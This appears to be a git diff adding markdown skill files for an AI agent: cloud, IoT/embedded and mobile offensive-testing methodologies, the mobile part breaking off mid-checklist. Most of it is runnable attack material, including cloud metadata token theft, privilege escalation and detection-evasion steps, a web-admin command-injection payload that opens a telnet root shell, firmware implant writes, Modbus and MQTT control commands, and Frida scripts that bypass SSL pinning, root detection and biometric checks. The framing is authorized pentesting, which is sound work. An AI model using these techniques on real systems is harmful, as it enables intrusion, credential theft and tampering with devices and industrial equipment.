Microsoft Graph+az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"+```++### IMDS++```bash+curl -H "Metadata:true" \+ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"+```++### Privilege Escalation Paths++| Path | Required Role / Permission | Outcome |+|------|---------------------------|---------|+| User Access Administrator on self/sub | Grant self Owner | Subscription Owner |+| App Registration owner | Add cert/secret, mint app-only tokens | App's permissions |+| Virtual Machine Contributor + Reader on KV | Run command on VM with MSI → KV | Secrets |+| Custom role with `*/write` on RBAC | Edit role assignments | Self-elevate |+| Logic App contributor | Edit workflow → privileged action | Indirect any action |+| Automation Account contributor | RunBook with Run-As account | Run as RunAs identity |+| AAD `Application Administrator` | Assign app to high-priv role | Cloud admin via app |+| AAD `Cloud Application Administrator` | Same minus on-prem | Cloud admin |+| AAD `Directory Synchronization Account` | DCSync via AAD Connect | All on-prem hashes |+| Privileged Authentication Administrator | Reset MFA / passwords for Globals | Global Admin reset |++```bash+# ROADtools — the AAD enumeration toolkit+roadrecon auth -u user@tenant -p pass+roadrecon gather+roadrecon gui # browse the gathered DB++# AzureHound for BloodHound integration+azurehound list -u user -p pass --tenant tenant.onmicrosoft.com+```++### Data Targets++```bash+# Storage account access keys (gold)+az storage account keys list -g RG -n SA++# Key Vault (per RBAC + access policies)+az keyvault secret list --vault-name myvault+az keyvault secret show --vault-name myvault -n cred++# Cosmos DB primary keys+az cosmosdb keys list -g RG -n acct++# SQL admin reset+az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>+```++### Persistence++```bash+# Add cert to existing privileged AAD application+az ad app credential reset --id <app-id> --append++# Conditional Access bypass: add own service principal to "trusted locations" / exclusions+# Custom rules to AAD Audit log retention+```++### Detection Evasion++- AAD Audit Log: tenant-level, can't be tampered with from below Global Admin+- Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write+- Defender for Cloud: alert suppression rules++---++## GCP++### Identity Discovery++```bash+gcloud auth list+gcloud projects list+gcloud iam service-accounts list+gcloud projects get-iam-policy $(gcloud config get-value project)+```++### IMDS++```bash+curl -H "Metadata-Flavor: Google" \+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token+```++### Privilege Escalation Paths++| Path | Required Permission | Outcome |+|------|---------------------|---------|+| `iam.serviceAccountTokenCreator` on SA | Mint tokens as SA | SA's perms |+| `iam.serviceAccountUser` + `compute.instances.create` | Pass SA to new VM | Run as SA via IMDS |+| `iam.serviceAccountKeyAdmin` | Create JSON key for any SA | Persistent SA creds |+| `cloudbuild.builds.create` | Build runs as Cloud Build SA (often Editor) | Editor on project |+| `deploymentmanager.deployments.create` | Runs as DM SA (often Owner) | Owner |+| `cloudfunctions.functions.create` + actAs | Pass any SA to function | Run as that SA |+| `dataflow.jobs.create` + actAs | Same pattern | SA's perms |+| `iam.roles.update` (custom roles) | Add permissions to a role you have | Self-elevate |+| `resourcemanager.projects.setIamPolicy` | Grant self any role | Owner |++```bash+# gcp_enum / gcp_scanner+git clone https://github.com/google/gcp_scanner+python gcp_scanner.py -k gcp.json -o out/++# Hunt for SA impersonation paths+gcloud iam service-accounts get-iam-policy <sa-email>+# Look for ServiceAccountTokenCreator on something you control+```++### Data Targets++```bash+# GCS buckets+gcloud storage ls+gsutil ls -L gs://bucket+gsutil iam get gs://bucket++# Cloud SQL+gcloud sql instances list+gcloud sql users list --instance <instance>++# Secret Manager+gcloud secrets list+gcloud secrets versions access latest --secret=<name>+```++### Cross-Project / Folder Pivot++```bash+# Org-level perms?+gcloud organizations list+gcloud resource-manager folders list --organization <id>+gcloud projects list --filter="parent.id=<folder-id>"+```++---++## Cross-Cloud Patterns++### CI/CD as the Pivot++Most cloud takeovers in 2024-2025 start with CI tokens:+- GitHub Actions OIDC misconfigured → assume any AWS role with weak `sub` claim+- GitLab CI pushed to wrong branch → gains prod role+- Jenkins agent with cloud credentials in env++Test the OIDC trust policy claims carefully:++```json+"Condition": {+ "StringLike": {+ "token.actions.githubusercontent.com:sub": "repo:org/*"+ }+}+```++### Snapshot Sideways (works on all 3)++Take a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.++### Secrets-in-Logs++CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.++### Container Registry Poisoning++ECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.++---++## Tooling Matrix++| Tool | AWS | Azure | GCP | Use |+|------|-----|-------|-----|-----|+| ScoutSuite | ✓ | ✓ | ✓ | Posture audit |+| Prowler | ✓ | ✓ | ✓ | CIS/PCI checks |+| Pacu | ✓ | | | Offensive framework |+| CloudGoat | ✓ | | | Vulnerable lab |+| BloodHound + AzureHound | | ✓ | | Graph-based escalation |+| ROADtools | | ✓ | | AAD recon + offline analysis |+| MicroBurst | | ✓ | | PS-based offensive |+| Stormspotter | | ✓ | | MS' own offensive enum |+| gcp_scanner | | | ✓ | Token-based recon |+| GCPBucketBrute | | | ✓ | GCS bucket discovery |++---++## Engagement Cheatsheet++```+[ ] sts/get-caller-identity, az account show, gcloud auth list+[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)+[ ] Map known privesc paths against current perms+[ ] Pacu/ROADtools/gcp_scanner full enumeration+[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)+[ ] Test cross-account/tenant/project trust paths+[ ] Test CI/CD OIDC trust policies+[ ] Test backup/snapshot exfiltration paths+[ ] Document discovered identities, paths, and data with timestamps+[ ] Persistence demonstrated only with explicit authorization+```++---++## Key References++- AWS IAM permissions reference (boto3 docs)+- Azure RBAC built-in roles + actions list+- GCP IAM permissions reference+- HackTricks Cloud — ongoing reference for newest paths+- "Pacu" framework docs — pacu.aws.cloud+- MITRE ATT&CK Cloud Matrix+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/cloud.mddiff --git a/Skills/offensive-iot/SKILL.md b/Skills/offensive-iot/SKILL.mdnew file mode 100644index 0000000..6524d6f--- /dev/null+++ b/Skills/offensive-iot/SKILL.md@@ -0,0 +1,435 @@+---+name: offensive-iot+description: "IoT and embedded device security testing methodology. Covers hardware reconnaissance (UART, JTAG, SWD, SPI flash, I2C EEPROM, eMMC chip-off), firmware acquisition (vendor portals, OTA capture, flash dump, binwalk extraction), firmware analysis (filesystem mounting, binary triage, hardcoded secrets, default credential discovery), bootloader attacks (U-Boot console, secure-boot bypass, fault injection), runtime attacks on embedded Linux/RTOS (busybox CVEs, MTD writes, /dev/mem), wireless protocol attacks (Zigbee, BLE, Z-Wave, LoRaWAN, Thread/Matter, sub-GHz), MQTT/CoAP/Modbus/BACnet/OPC-UA exploitation, mobile companion app analysis, cloud-IoT API abuse, and side-channel/glitching basics. Use for IoT pentest, smart-home assessment, ICS/OT testing, or embedded vulnerability research."+---++# IoT & Embedded — Offensive Testing Methodology++## Quick Workflow++1. **Recon the device physically** — identify SoC, flash, debug interfaces, radios+2. **Get the firmware** — vendor download, OTA capture, hardware dump, or chip-off+3. **Unpack and analyze** — filesystems, services, secrets, default creds, vuln components+4. **Establish runtime access** — UART shell, telnet/SSH default creds, exploit chain+5. **Pivot** — to companion app, cloud API, neighboring devices via mesh / wireless++---++## Hardware Reconnaissance++### PCB Inspection++- ID the **SoC** by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)+- ID **flash** (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)+- Find **debug headers**: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)+- Find test points labeled `TX`, `RX`, `TCK`, `TMS`, `TDO`, `TDI`, `RST`, `BOOT`++### Tools++| Tool | Use |+|------|-----|+| Multimeter | Identify GND, VCC rails before connecting |+| Logic analyzer (Saleae, DSLogic) | Find UART baud, SPI clock, identify protocols |+| USB-UART (FT232, CP2102) | UART console |+| Bus Pirate / Glasgow | UART, SPI, I2C, JTAG generic |+| J-Link / Black Magic Probe | JTAG / SWD MCU debugging |+| CH341A programmer | Cheap SPI flash dumper |+| XGecu T48 | Modern universal programmer (NAND/eMMC/SPI) |+| ChipQuik / hot-air | Chip-off desolder |++### UART Discovery++```bash+# Find baud rate+for b in 9600 19200 38400 57600 115200 230400 460800 921600; do+ echo "=== $b ==="+ timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log+done+grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log+```++Look for: U-Boot console (often `Hit any key` countdown), Linux init messages, root shell on console, login prompt.++### Bootloader Console Drop++```+# At U-Boot countdown, mash space or key listed+Hit any key to stop autoboot: 0+=> printenv # full env, often includes boot args+=> setenv bootargs ${bootargs} init=/bin/sh+=> boot # Linux comes up to root shell, no login+```++If U-Boot is locked, try:+- `CONFIG_DELAY_AUTOBOOT_KEYED` keyword (vendor-specific)+- `Ctrl+C` / `Ctrl+B` / specific magic strings+- Glitch the U-Boot version-check / signature-check (see Fault Injection)++---++## Flash Dumping++### SPI NOR (most common consumer IoT)++```bash+# In-circuit dump (hold SoC in reset to avoid bus contention)+flashrom -p ch341a_spi -r firmware.bin++# Verify+file firmware.bin && binwalk firmware.bin+```++If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.++### eMMC / NAND++eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.++NAND requires bit-flipping and ECC handling — `nanddump`/`yaffshiv`/`ubireader` post-extraction.++### OTA Capture++Many devices fetch firmware over HTTP(S). MITM the device:++```bash+# Captive AP + transparent proxy+sudo create_ap wlan0 eth0 IoTLab+mitmproxy --mode transparent --showhost --ssl-insecure+# Or for non-SNI / pinning, use bettercap with custom DNS+```++Capture the URL, download directly, dissect.++---++## Firmware Analysis++### Initial Triage++```bash+binwalk -Me firmware.bin # Extract recursively+binwalk -E firmware.bin # Entropy plot — flat = encrypted/compressed+strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"+```++### Filesystem Mounting++```bash+# SquashFS (most consumer Linux IoT)+unsquashfs -d rootfs squashfs.bin++# JFFS2 / UBIFS (NAND-backed)+jefferson jffs2.bin -d rootfs+ubireader_extract_files ubi.bin -o rootfs+```++### Embedded-Linux Quick Wins++```bash+# Hardcoded credentials and keys+grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/+find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"++# Telnet/SSH default creds+cat rootfs/etc/passwd rootfs/etc/shadow+grep -r "telnetd" rootfs/etc/init.d+grep -r "dropbear\|sshd" rootfs/++# Setuid binaries+find rootfs -perm -4000 -type f++# Vulnerable busybox / dropbear / openssl versions+rootfs/bin/busybox 2>&1 | head -1+strings rootfs/sbin/dropbear | grep "Dropbear v"+strings rootfs/usr/lib/libssl* | grep "OpenSSL "++# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine+find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"+```++### CGI / Web Admin Auditing++GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.++```bash+# Disassemble a CGI+file rootfs/www/cgi-bin/setup.cgi+# Often plain ELF MIPS/ARM — analyze in Ghidra+ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi+```++Common patterns:+- `system()` / `popen()` with concatenated query string args+- `sprintf` then `system` — easy command injection+- Auth check via comparing cookie to plaintext file (race / replay)++---++## Runtime Exploitation++### Console / Telnet Default Creds++Try (per device class): `admin/admin`, `root/root`, `root/<empty>`, `admin/password`, `support/support`, `cisco/cisco`, vendor brand as user/pass. **Always try `root/<serial number>`** — many vendors use a per-device default.++### Web Admin Command Injection++```http+POST /goform/setSysAdm+Cookie: SESSIONID=...+admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;+```++### MTD Writes (re-flash from runtime)++If you have a root shell:++```bash+cat /proc/mtd # list partitions+mtd_debug erase /dev/mtd2 0 0x10000+mtd_debug write /dev/mtd2 0 0x10000 implant.bin+```++### /dev/mem++On older kernels without `CONFIG_STRICT_DEVMEM`, `/dev/mem` is read/write to physical memory — full system compromise from any root context.++---++## Bootloader / Secure Boot Attacks++### U-Boot Quick Bypasses++- `setenv bootargs ${bootargs} init=/bin/sh`+- `setenv preboot 'echo 1 > /sys/...'` (run command before kernel)+- `tftpboot` — load attacker kernel from network+- `bootm` of a memory-resident image you `loadb`-uploaded over UART++### Secure Boot++Modern devices verify signed bootloaders / kernels. Bypass paths:++- **Downgrade**: flash an older signed image with known kernel-level CVE+- **Rollback bypass**: anti-rollback fuses not blown → flash older signed+- **Key extraction**: dump the OTP / fuse contents via vendor tooling, recover signing key+- **Fault injection**: glitch the signature-check instruction (see below)++### Fault Injection (Voltage / Clock Glitching)++```+Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar+Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read+Procedure:+ 1. Locate target instruction window via UART timing or power trace+ 2. Apply glitch (V drop / EM pulse) at that offset+ 3. Sweep delay and width; success = corrupted check, accepted unsigned image+```++---++## RTOS Targets++| RTOS | Notes |+|------|-------|+| FreeRTOS | Single binary, no MMU often → stack overflow → straight RIP control |+| Zephyr | MMU/MPU optional; verify isolation actually enabled |+| ThreadX | Microsoft now, mostly closed |+| MicroEJ / Mbed OS | Java/C mix — type confusion and JNI bridges |+| ESP-IDF (Espressif) | Wi-Fi/BLE stacks, OTA chain, secure boot v2 |+| QNX | Older versions: pdebug shell on serial = root |++### MCU Reverse Engineering++```bash+# Read protected MCU via SWD / JTAG (if RDP not set)+openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \+ -c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"++# SAM-BA on Atmel SAM+sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"++# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)+```++---++## Wireless Protocols++### Bluetooth Low Energy (BLE)++```bash+# Discover and enumerate+bettercap -eval "ble.recon on; events.show 60; ble.show"++# GATT introspection+gatttool -b AA:BB:CC:DD:EE:FF -I+> connect+> primary+> char-desc+> char-read-uuid <uuid>+> char-write-req <handle> <hex>+```++Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-side TLS-equivalent missing.++### Zigbee / Thread / Matter++```bash+# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E+zbstumbler -i 0+zbdump -c 11 -w zigbee.pcap++# KillerBee — replay, scapy-dot15d4 for fuzzing+zbreplay -f zigbee.pcap -i 0+```++Touchlink commissioning: known transport key in the wild (`0x9F559A553B7A6B2C…`) — many consumer devices accept Touchlink commissioning from any nearby radio.++### Z-Wave++S0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with `Z-Force` / `EZ-Wave`.++### LoRaWAN++- ABP-provisioned devices: keys flashed once and never rotated+- Join-request replay if frame counters reset+- `LoRaPWN`, `ChirpStack` for analysis++### Sub-GHz (433 / 868 / 915 MHz)++```bash+# HackRF / RTL-SDR+rtl_433 -f 433.92M -A # auto-decoder for many devices+gqrx # interactive++# Capture, analyze in Inspectrum, replay with hackrf_transfer+```++Targets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.++---++## ICS / OT Protocols++### Modbus++```python+from pymodbus.client import ModbusTcpClient+c = ModbusTcpClient('10.0.0.5', port=502)+c.read_holding_registers(0, count=20, slave=1)+c.write_register(40, 1, slave=1) # No auth in the protocol+```++### BACnet (Building Automation)++```bash+# UDP/47808+bacnet-stack/who-is 10.0.0.0/24+# Read property without auth in many deployments+```++### OPC-UA++Modern OPC-UA has security profiles; many deployments use `None` for compatibility. Test:+- Anonymous browsing of address space (information disclosure)+- Username/password endpoints with weak creds+- Cert-based but with self-signed accepted++### S7 (Siemens)++Snap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.++---++## MQTT / CoAP++### MQTT Anonymous Subscribe++```bash+mosquitto_sub -h target.broker -t '#' -v+# # = wildcard, prints every retained message → secrets, sensor data, control topics+mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'+```++Many cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe `#`, replay device commands.++### CoAP++```bash+coap-client -m get coap://device/.well-known/core+coap-client -m put coap://device/relay/0 -e '1'+```++DTLS often misconfigured (PSK in firmware, no rotation).++---++## Companion Mobile App / Cloud API++Most IoT vulns today live in the **cloud + companion app pair**, not the device itself.++```bash+# Decompile Android companion+apktool d Vendor.apk -o app+jadx -d app_src Vendor.apk++# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow+grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/++# Patch SSL pinning (frida)+frida -U -l ssl-pin-bypass.js -f com.vendor.app+```++Test the cloud API for:+- Device claim by serial number alone (steal devices already shipped)+- IDOR on `/devices/<id>` endpoints+- Live-stream URLs without auth (RTSP / WebRTC tokens)+- Firmware signing endpoint accepting attacker-uploaded blobs (rare but devastating)++---++## Pivoting Across Devices++- Compromise one device on the LAN → ARP/DHCP poison neighbors+- Mesh-protocol bridges (Zigbee coordinator, Z-Wave hub) → adjacent device control+- BLE central role swap → talk directly to peripherals as the legitimate hub+- Cloud account compromise → all devices linked to the account simultaneously++---++## Reporting Hooks++For each finding capture:+- **Affected scope**: model, firmware version, region, serial-number range if known+- **Reproducer**: physical or remote, time-to-exploit+- **Pre-conditions**: physical access? same network? authenticated cloud account?+- **Post-conditions**: persistent? cross-device? cloud-side?+- **Vendor disclosure path**: PSIRT contact, ICS-CERT, MITRE for CVE assignment++---++## Engagement Checklist++```+[ ] Photo PCB top + bottom; identify SoC, flash, radios+[ ] Try UART at common bauds; capture boot log+[ ] Pull SPI flash; binwalk -Me; identify rootfs+[ ] Static review: creds, keys, vuln versions, CGI+[ ] Boot the device; map services on ports+[ ] Try default creds, web/CGI command injection+[ ] Capture OTA traffic; analyze update flow+[ ] Pair with companion app; intercept all traffic with TLS-bypass+[ ] Map cloud API surface; test IDOR and device-claim+[ ] For each radio: passive sniff, active probe, replay+[ ] Document CVE-eligible findings; coordinate vendor disclosure+```++---++## Key References++- MITRE ATT&CK for ICS — TA0108 (Initial Access), TA0104 (Execution)+- OWASP ISVS / IoT Top 10+- Embedded Security CTF (microcorruption.com) — practice MCU exploitation+- IoT Hackers Handbook (Aditya Gupta) — canonical methodology+- CISA ICS-CERT advisory feed+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/iot-embedded.mddiff --git a/Skills/offensive-mobile/SKILL.md b/Skills/offensive-mobile/SKILL.mdnew file mode 100644index 0000000..29d6290--- /dev/null+++ b/Skills/offensive-mobile/SKILL.md@@ -0,0 +1,422 @@+---+name: offensive-mobile+description: "Mobile (Android + iOS) application penetration testing methodology. Covers static analysis (apktool/jadx for Android, class-dump/Hopper/IDA for iOS), dynamic instrumentation with Frida and Objection, SSL pinning bypass strategies, root/jailbreak detection bypass, deep-link / URL-scheme abuse, exported component attacks (Android activities, services, providers, receivers; iOS XPC, URL schemes, universal links), insecure data storage (SharedPrefs, KeyStore misuse, NSUserDefaults, Keychain ACL bypass), IPC / Intent redirection, WebView vulnerabilities (JavaScriptInterface, file:// access), Firebase/AWS/Azure misconfiguration leakage, mobile API testing, biometric/Face ID/Touch ID bypass, app-cloning and runtime patching, and mobile malware/RAT analysis primitives. Use for mobile pentest, bug bounty mobile triage, or app-store reconnaissance."+---++# Mobile (Android + iOS) — Offensive Testing Methodology++## Quick Workflow++1. Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints+2. Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS+3. Map exported attack surface: deep links, URL schemes, exported components+4. Storage / Keystore audit: where do secrets live, what protects them+5. API: every backend the app talks to is your scope — test like a web app++---++## Lab Setup++### Android+- Rooted device or **Genymotion** / Android Studio AVD with `userdebug` build+- **Magisk** for systemless root; **LSPosed** for hooks; **Frida server** matching device arch+- **Burp / Mitmproxy** with system-trusted CA via Magisk module (`MagiskTrustUserCerts`)++### iOS+- Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)+- **Frida** + **Objection** + **Filza** + **SSH via USB (iproxy 2222 22)**+- Burp CA installed via Settings → General → Device Management → Certificate Trust Settings++---++## Static Analysis++### Android++```bash+# Decode resources + smali+apktool d app.apk -o app++# Decompile to Java+jadx -d app_src app.apk++# Manifest review+xmllint --format app/AndroidManifest.xml | less+# Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig+```++```bash+# Secrets and endpoints+grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/+grep -r "Log\.[dwief]" app_src/ # leftover debug logs++# Native libs+file app/lib/*/*.so+# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions+```++### iOS++```bash+# Pull IPA from device+frida-ios-dump -o app.ipa "com.vendor.app"++# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)+unzip app.ipa+# Decrypt if needed (jailbroken device): bagbak / clutch+bagbak com.vendor.app++# Class dump+class-dump-dyld -H Payload/App.app/App -o headers/+# Or for Swift symbols, use Hopper / IDA++# Strings / endpoints+strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'+```++```bash+# Info.plist analysis+plutil -p Payload/App.app/Info.plist+# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),+# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions+```++---++## Dynamic Analysis & Frida++### Common Hooks++```javascript+// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)+Java.perform(() => {+ const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');+ const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');+ // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida+});++// Bypass root detection+Java.perform(() => {+ const File = Java.use('java.io.File');+ File.exists.implementation = function () {+ const path = this.getAbsolutePath();+ if (path.includes('su') || path.includes('Magisk')) return false;+ return this.exists();+ };+});++// iOS — bypass jailbreak detection+const stat = Module.findExportByName(null, 'stat');+Interceptor.attach(stat, {+ onEnter(args) {+ const path = args[0].readUtf8String();+ if (/Cydia|jailbreak|substrate|frida/i.test(path)) {+ args[0] = Memory.allocUtf8String('/nonexistent');+ }+ }+});+```++### Objection (Frida-based shortcuts)++```bash+objection -g com.vendor.app explore+# Then inside:+android sslpinning disable+android root disable+android hooking list activities+android intent launch_activity com.vendor.app/.SecretActivity+ios sslpinning disable+ios jailbreak disable+ios keychain dump+```++---++## SSL / TLS Interception++### Android Network Security Config++App with `<network-security-config>` requiring its own pinned CA: edit `res/xml/network_security_config.xml`, repack:++```bash+apktool b app -o app-patched.apk+apksigner sign --ks debug.keystore app-patched.apk+```++Or live-bypass with Frida (preferred — no recompile).++### iOS ATS / Pinning++For pinning, use Frida hooks against `SecTrustEvaluate*` / `NSURLSession` delegate methods. ATS exceptions in Info.plist (`NSAllowsArbitraryLoads`) make MITM trivial without pinning.++---++## Exported / IPC Attack Surface++### Android — Exported Components++```bash+drozer console connect+> run app.package.attacksurface com.vendor.app+> run app.activity.start --component com.vendor.app .ExportedActivity \+ --extra string url 'javascript:alert(1)'+> run app.provider.query content://com.vendor.app.provider/secrets+```++Targets:+- `exported="true"` activities → call from another app, bypass auth+- ContentProviders without `grantUriPermissions` → arbitrary read+- Receivers handling `BOOT_COMPLETED` etc. with privileged actions+- Services bound by intent extras → command injection++### Intent Redirection / PendingIntent Hijack++```java+// Vulnerable: PendingIntent with implicit Intent given to untrusted app+PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)+// Attacker fills the empty Intent → action runs with victim app's identity+```++### iOS — URL Schemes / Universal Links++```bash+# Open custom scheme (test from another app)+plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes+# Then on device:+xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"+```++Universal Links: check `apple-app-site-association` on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.++### iOS XPC / Mach Services++`launchctl list | grep com.vendor` enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.++---++## Insecure Data Storage++### Android++```bash+# On device (root), pull app data+adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz+```++Inspect:+- `shared_prefs/*.xml` — preferences in plaintext+- `databases/*.db` — SQLite (use `sqlite3` to dump)+- `files/` — arbitrary writes+- `cache/` and external storage (`sdcard/Android/data/...`) — often readable across apps++### Android Keystore Misuse++- Keys created without `setUserAuthenticationRequired(true)` → use any time process is running+- AES-GCM with reused IV (devs often hardcode IV)+- RSA without proper padding (PKCS1 v1.5 vs OAEP)++### iOS Keychain++```bash+# Objection+ios keychain dump+# Look for kSecAttrAccessible values:+# AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)+# WhenUnlocked → standard+# AlwaysThisDeviceOnly → bypasses screen lock+```++iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.++---++## WebView Vulnerabilities++### Android `addJavascriptInterface`++If the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.++```javascript+// In a page loaded by the WebView+JSBridge.getClass().forName('java.lang.Runtime')+ .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')+```++### file:// and Content://++WebView with `setAllowFileAccessFromFileURLs(true)` + a HTML attachment that the user opens → reads any file the app can.++### iOS WKWebView++- `WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically`+- `wkScriptMessageHandler` exposed — same JS bridge concern as Android+- File URL load with `loadFileURL` and broad `allowingReadAccessTo` directory++---++## Biometric / Auth Bypass++### Android BiometricPrompt++Apps using BiometricPrompt **without binding** the cryptographic operation to authentication can be bypassed by hooking the result callback.++```javascript+Java.perform(() => {+ const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');+ Cb.onAuthenticationSucceeded.implementation = function (r) {+ return this.onAuthenticationSucceeded(r); // accept whatever+ };+ Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };+});+```++### iOS LAContext++`evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)` — if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.++```javascript+const LAContext = ObjC.classes.LAContext;+Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {+ onEnter(args) {+ const cb = new ObjC.Block(args[4]);+ const orig = cb.implementation;+ cb.implementation = function(success, err) { orig.call(this, true, NULL); };+ }+});+```++The fix on the dev side is to use a **biometric-bound key** in the Keychain — the bypass above doesn't yield key access.++---++## Firebase / Cloud Misconfig (highest hit-rate)++### Firebase Realtime DB (still common)++Pull URL from app:++```bash+strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"+# Test for unauth read+curl https://target-app.firebaseio.com/.json+# If returns data → unauth read+```++### Firestore++Rules misconfigured to `allow read, write: if true;` — visible in app's REST calls. Test with anon SDK or direct REST.++### S3 / GCS / Azure Blob++Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.++### Embedded API Keys++Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.++```bash+truffleHog filesystem app_src/+gitleaks detect --source app_src/+```++---++## Mobile API Testing++The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:++- **Device-bound headers** (`X-Device-ID`, `X-App-Version`, `X-Signature`) often calculable client-side. Pull the algorithm from the binary.+- **Request signing**: HMAC with key embedded in app → game over, sign anything.+- **Mobile-only endpoints** that skip rate limiting because they're "behind app authentication"+- **Older API versions** still alive: `/api/v1/...` retired in newer app, server still serving with weaker auth.+- **Push notification topics**: subscribing to `/topics/<predictable>` may receive messages meant for others (Firebase Messaging).++---++## App Tampering & Repackaging++```bash+# Patch a check (e.g. premium=true)+# Smali edit+sed -i 's/return-void/const\/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali+apktool b app -o patched.apk+apksigner sign --ks debug.keystore patched.apk+adb install -r patched.apk+```++For commercial bypasses, use **LSPosed module** so original APK isn't modified — bypasses signature checks that lock down repackaged variants.++---++## iOS Specifics++### Entitlements++```bash+codesign -d --entitlements - Payload/App.app/App+```++Look for: `keychain-access-groups` (cross-app keychain), `com.apple.security.application-groups` (shared containers), `com.apple.developer.associated-domains` (universal links), private entitlements (rare).++### URL Schemes from Other Apps++```objc+[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];+```++Any app can invoke any registered URL scheme. Validate sender? Most don't.++### App Groups Shared Container++```+/private/var/mobile/Containers/Shared/AppGroup/<UUID>/+```++Multiple apps from same vendor share — secrets here cross app boundary.++---++## Detection / Defender View++| Detector | Bypass |+|----------|--------|+| Frida server detection (port 27042 open) | Run frida-server on alt port, use `frida -H` |+| Magisk detection via `/sbin/magisk` | Magisk Hide / DenyList |+| Emulator detection | Run on real device, or stub `Build.FINGERPRINT` etc. |+| iOS jailbreak detection (file existence) | Frida hook `stat` / `fopen` / `dlopen` |+| Anti-debug `ptrace(PT_DENY_ATTACH)` | Frida-stalker-based, or kernel patch |+| Certificate pinning | Frida universal pinning bypass |+| App attestation (Play Integrity / DeviceCheck) | Hard — usually requires server-side bypass or app attestation token relay |++---++## Engagement Checklist++```+[ ] Pull IPA/APK from device+[ ] Decompile / 